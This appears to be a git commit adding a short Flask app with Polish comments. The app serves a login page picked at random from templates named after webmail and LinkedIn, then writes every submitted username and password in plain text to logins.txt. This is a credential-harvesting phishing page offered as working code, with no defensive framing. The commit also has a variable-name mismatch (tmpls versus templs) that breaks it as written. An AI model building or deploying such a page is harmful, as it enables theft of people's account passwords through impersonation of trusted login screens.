1st test
This commit is contained in:
26
app.py
Normal file
26
app.py
Normal file
@@ -0,0 +1,26 @@
|
||||
from flask import Flask, render_template, request, redirect, url_for
|
||||
from random import choice
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
tmpls = ('clean.html', 'webmail.html', 'linkedin.html')
|
||||
tmpl = choice(templs)
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def login():
|
||||
if request.method == 'POST':
|
||||
# Pobieramy dane z pól formularza (atrybut 'name' w HTML)
|
||||
uzytkownik = request.form.get('login')
|
||||
haslo = request.form.get('password')
|
||||
|
||||
# Zapisujemy do pliku (tryb 'a' oznacza dopisywanie - append)
|
||||
with open('logins.txt', 'a', encoding='utf-8') as f:
|
||||
f.write(f"Użytkownik: {uzytkownik} | Hasło: {haslo}\n")
|
||||
|
||||
return "<h3>Dane zostały zapisane pomyślnie!</h3><a href='/'>Wróć do logowania</a>"
|
||||
|
||||
# Jeśli metoda to GET, po prostu wyświetlamy stronę
|
||||
return render_template(tmpl)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(debug=True)
|
||||
Reference in New Issue
Block a user